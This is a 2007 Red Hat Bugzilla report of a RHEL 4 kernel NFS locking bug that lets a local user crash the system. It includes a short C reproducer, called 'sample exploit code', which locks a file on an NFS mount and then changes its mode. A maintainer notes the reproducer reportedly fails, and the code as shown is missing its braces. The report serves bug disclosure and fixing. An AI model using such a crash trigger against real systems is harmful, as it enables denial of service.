Bug 232267 - kernel BUG at fs/locks.c:1799 - local DoS
kernel BUG at fs/locks.c:1799 - local DoS
Status: CLOSED DUPLICATE of bug 211092
Product: Red Hat Enterprise Linux 4
Classification: Red Hat
Component: kernel (Show other bugs)
All Linux
medium Severity medium
: ---
: ---
Assigned To: Jeff Layton
Martin Jenner
: Security
Depends On:
  Show dependency treegraph
Reported: 2007-03-14 12:39 EDT by Jussi-Pekka Hamalainen
Modified: 2007-11-16 20:14 EST (History)
3 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2007-06-08 08:45:44 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

  None (edit)
Description Jussi-Pekka Hamalainen 2007-03-14 12:39:57 EDT
Description of problem:

The kernel NFS client has a locking bug which causes the system to crash
via a BUG() at fs/locks.c:1799. This bug can be exploited by any local user
who as write access to an NFS mount.

Mandatory locking on a file on an NFS mount succeeds, but if the file mode is
changed while the lock is held, unlocking fails when the file handle is closed.

The bug is in fs/nfs/file.c function nfs_lock() and is fixed by the attached
patch, which is a partial backport from 2.6.12.

Version-Release number of selected component (if applicable):

All RHEL kernels based on 2.6.9 up to and including 2.6.9-42.0.10.EL.

How reproducible:

Sample exploit code is attached below.

Steps to Reproduce:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char** argv)
  int fd;
  struct flock lck;

  fd = open(argv[1], O_RDWR | O_CREAT, 0644);
  memset(&lck, 0, sizeof(lck));
  lck.l_type = F_WRLCK;
  fcntl(fd, F_SETLK, &lck);
  fchmod(fd, 00755);
  return 0;

Run this code on a nonexistent file on an NFS mount.

Actual results:

System immediately crashes with kernel BUG at fs/locks.c:1799

Expected results:

A zero byte file is created with mode 0755.

Additional info:
Comment 3 Jeff Layton 2007-04-16 10:01:03 EDT
It's been reported to me that the reproducer posted here does not reproduce this
issue. Setting to NEEDINFO until we have some to go on...

Comment 4 Jeff Layton 2007-06-08 08:45:44 EDT
While there's very little info to go on here, I'm thinking this is probably a
dupe of bug #211092. A patch recently went in to fix that bz. Please reopen this
bug if this bug turns out to be a different issue.

*** This bug has been marked as a duplicate of 211092 ***

Note You need to log in before you can comment on or make changes to this bug.